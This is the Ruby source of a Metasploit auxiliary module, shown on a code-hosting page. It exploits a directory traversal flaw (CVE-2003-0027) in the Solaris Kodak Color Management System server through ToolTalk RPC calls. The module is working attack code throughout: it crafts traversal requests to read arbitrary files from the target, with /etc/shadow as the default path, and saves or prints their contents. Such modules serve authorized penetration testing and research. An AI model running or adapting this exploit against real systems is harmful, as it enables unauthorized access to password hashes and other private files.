Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::SunRPC78def initialize9super(10'Name' => 'Solaris KCMS + TTDB Arbitrary File Read',11'Description' => %q{12This module targets a directory traversal vulnerability in the13kcms_server component from the Kodak Color Management System. By14utilizing the ToolTalk Database Server\'s TT_ISBUILD procedure, an15attacker can bypass existing directory traversal validation and16read arbitrary files.1718Vulnerable systems include Solaris 2.5 - 9 SPARC and x86. Both19kcms_server and rpc.ttdbserverd must be running on the target20host.21},22'Author' =>23[24'vlad902 <vlad902[at]gmail.com>', # MSF v2 module25'jduck' # Ported to MSF v326],27'License' => MSF_LICENSE,28'References' =>29[30['CVE', '2003-0027'],31['OSVDB', '8201'],32['BID', '6665'],33['URL', 'http://marc.info/?l=bugtraq&m=104326556329850&w=2']34],35# Tested OK against sol8.tor 20100624 -jjd36'DisclosureDate' => 'Jan 22 2003')3738register_options(39[40OptString.new('PATH', [ true, "Path to the file to disclose, relative to the root dir.", 'etc/shadow']),41OptString.new('OUTPUTPATH', [ false, "Local path to save the file contents to", nil ])42])43end4445def run4647# There is a fixed size buffer in use, so make sure we don't exceed it..48# (NOTE: 24 bytes are reserved for traversal string)49path = datastore['PATH']50if (path.length > 1000)51raise RuntimeError, "File name is too long."52end5354print_status("Making request to the ToolTalk Database Server...")5556# Hopefully one of these works ;)57ttdb_build("/etc/openwin/devdata/profiles/TT_DB/oid_container")58ttdb_build("/etc/openwin/etc/devdata/TT_DB/oid_container")5960# If not, we'll find out now ...61print_status("Making open() request to the kcms_server...")62sunrpc_create('tcp', 100221, 1)63sunrpc_authunix('localhost', 0, 0, [])6465# Prepare the traversing request for kcms_server66trav = 'TT_DB/' + ('../' * 5) + path67buf = Rex::Encoder::XDR.encode(68[trav, 1024],690, # O_RDONLY700755) # mode7172# Make the request73ret = sunrpc_call(1003, buf)74ack, fsize, fd = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer)7576if (ack != 0)77print_error("KCMS open() failed (ack: 0x%x != 0)" % ack)7879if (fsize == 0)80print_status("File does not exist (or host is patched)")81end82return83end8485# Nice, open succeeded, show the return data86print_status("fd: #{fd}, file size #{fsize}")8788print_status("Making read() request to the kcms_server...")89buf = Rex::Encoder::XDR.encode(90fd,910,92fsize)9394ret = sunrpc_call(1005, buf)95x, data = Rex::Encoder::XDR.decode!(ret, Integer, [Integer])9697# If we got something back...98if (data)99data = data.pack('C*')100101# Store or display the results102if (datastore['OUTPUTPATH'])103fname = datastore['PATH'].gsub(/[\/\\]/, '_')104outpath = File.join(datastore['OUTPUTPATH'], fname)105print_status("Saving contents to #{outpath} ...")106File.open(outpath, "wb") { |fd|107fd.write(data)108}109else110print_status("File contents:")111print_status(data.inspect)112end113else114print_error("No data returned!")115end116117# Close it regardless if it returned anything..118print_status("Making close() request to the kcms_server...")119buf = Rex::Encoder::XDR.encode(fd)120sunrpc_call(1004, buf)121122# done123sunrpc_destroy124125rescue Timeout::Error, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Rex::Proto::SunRPC::RPCError => e126print_error(e.to_s)127rescue ::Rex::Proto::SunRPC::RPCTimeout128print_warning 'Warning: ' + $!129print_warning 'Exploit may or may not have succeeded.'130end131132133#134# Send a TT_ISBUILD request to rpc.ttdbserverd135#136def ttdb_build(path)137sunrpc_create('tcp', 100083, 1)138sunrpc_authunix('localhost', 0, 0, [])139msg = Rex::Encoder::XDR.encode(140[path, 1024],141path.length,1421, # KEY (VArray head?)1432,1441,1450, # KEYDESC1462,1471,148# 21 zeros, /KEYDESC, /KEY1490, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,1500x10002,151path.length)152ret = sunrpc_call(3, msg)153arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer)154print_status("TTDB reply: 0x%x, %d" % arr)155sunrpc_destroy156end157end158159160